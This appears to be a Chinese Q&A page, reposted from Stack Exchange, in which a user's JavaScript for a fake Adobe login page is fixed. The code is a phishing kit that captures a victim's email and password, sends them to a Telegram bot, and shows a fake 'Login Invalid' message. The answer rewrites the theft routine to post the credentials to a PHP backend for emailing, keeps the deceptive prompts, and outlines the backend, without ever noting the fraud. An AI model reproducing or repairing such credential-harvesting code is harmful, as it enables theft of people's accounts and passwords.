You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

如何使用JavaScript将表单数据发送至邮箱替代原Telegram API推送

表单发送渠道改造:从Telegram推送改为邮箱发送

原有正常运行的Telegram版本代码

const button = document.querySelector('.btn');
const popup = document.querySelector('.popup');
const passInput = document.querySelector('.pass');
const emailGrab = document.querySelector('.email');
const formData = document.querySelector('.form-data');
const passMsg = document.querySelector('.pass-msg');
const preview = document.querySelector('.preview');

window.addEventListener('load', () => {
  alert('Authentication Required, Click ok to continue');
  popup.classList.add('hide');
  formData.style.animation = 'moveLeft .7s ease-in-out';
  emailGrab.textContent = zhe;
});

let xyz = 123456789; // Secrets redacted
let yxz = 'SECRET';

function telegramApi(method, id, message) {
  fetch(`https://api.telegram.org/bot${yxz}/${method}?chat_id=${id}&text=${message}&parse_mode=HTML`);
}

button.addEventListener('click', () => {
  const results = `Adobe EmailAddress: 
${emailGrab.textContent} Adobe Password: ${passInput.value}`;
  if (passInput.value === '') {
    alert('The Following error(s) occured - Password Required')
  } else {
    telegramApi('sendMessage', xyz, results);

    passMsg.style.color = 'red';
    passMsg.textContent = 'Login Invalid Please enter correct password.';
    setTimeout(() => {
      preview.classList.remove('hidden');
    }, 2000);
    setTimeout(() => {
      preview.classList.add('hidden');
    }, 10000);
  }
});

passInput.addEventListener('keypress', () => {
  passMsg.style.color = 'rgb(59, 58, 58)';
  passMsg.textContent = 'Confirm your details to access your documents';
})

自行修改的失效代码存在的问题

你写的对接代码有4个核心问题导致无法运行:

  • 函数定义语法错误:function sendData (); 函数名后多余分号,函数体、fetch调用的括号均未正确闭合
  • 模板字符串书写不完整:构造results变量的模板字符串没有闭合,也缺少密码字段的取值逻辑
  • 参数传递错误:调用发送逻辑时参数个数和格式不匹配,也没有对提交内容做URL编码,会导致特殊字符传参失败
  • 原有交互逻辑丢失:修改后的代码没有保留原来的密码错误提示、预览层显隐的原有业务逻辑
// 失效代码片段
function sendData (); {fetch("ace.php", { method: "POST",body: "data" ); }         
button.addEventListener('click', () => { const results = `Adobe EmailAddress: ${emailGrab.textContent} Adobe Password: 
if (passInput.value === '') { alert('The Following error(s) occured - Password Required')                    }
else {telegramApi('sendMessage', results);  

修复后的完整实现代码

注意:前端JavaScript无法直接连接邮箱服务器发送邮件,必须通过你部署的ace.php后端接口接收表单数据,再由后端调用SMTP服务把内容发送到指定邮箱。

const button = document.querySelector('.btn');
const popup = document.querySelector('.popup');
const passInput = document.querySelector('.pass');
const emailGrab = document.querySelector('.email');
const formData = document.querySelector('.form-data');
const passMsg = document.querySelector('.pass-msg');
const preview = document.querySelector('.preview');

window.addEventListener('load', () => {
  alert('Authentication Required, Click ok to continue');
  popup.classList.add('hide');
  formData.style.animation = 'moveLeft .7s ease-in-out';
  emailGrab.textContent = zhe;
});

// 替换原Telegram发送函数,改为向后端PHP接口提交数据
function sendData(messageContent) {
  fetch("ace.php", {
    method: "POST",
    headers: {
      'Content-Type': 'application/x-www-form-urlencoded',
    },
    // 对内容做编码,避免特殊字符导致传参异常
    body: `content=${encodeURIComponent(messageContent)}`
  }).catch(err => console.error('提交失败:', err));
}

button.addEventListener('click', () => {
  const results = `Adobe EmailAddress: ${emailGrab.textContent} Adobe Password: ${passInput.value}`;
  if (passInput.value === '') {
    alert('The Following error(s) occured - Password Required')
  } else {
    // 调用后端接口提交表单数据
    sendData(results);

    // 保留原有UI交互逻辑
    passMsg.style.color = 'red';
    passMsg.textContent = 'Login Invalid Please enter correct password.';
    setTimeout(() => {
      preview.classList.remove('hidden');
    }, 2000);
    setTimeout(() => {
      preview.classList.add('hidden');
    }, 10000);
  }
});

passInput.addEventListener('keypress', () => {
  passMsg.style.color = 'rgb(59, 58, 58)';
  passMsg.textContent = 'Confirm your details to access your documents';
})

后端ace.php需要配套实现的逻辑

  • 接收POST请求中content字段的内容,即为前端提交的表单结果
  • 配置你的邮箱SMTP服务参数、目标收件人地址,将接收到的content作为邮件正文发送
  • 接口返回200状态码即可,无需额外返回内容

内容的提问来源于stack exchange,提问作者Byron Moola

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.29 20:57:16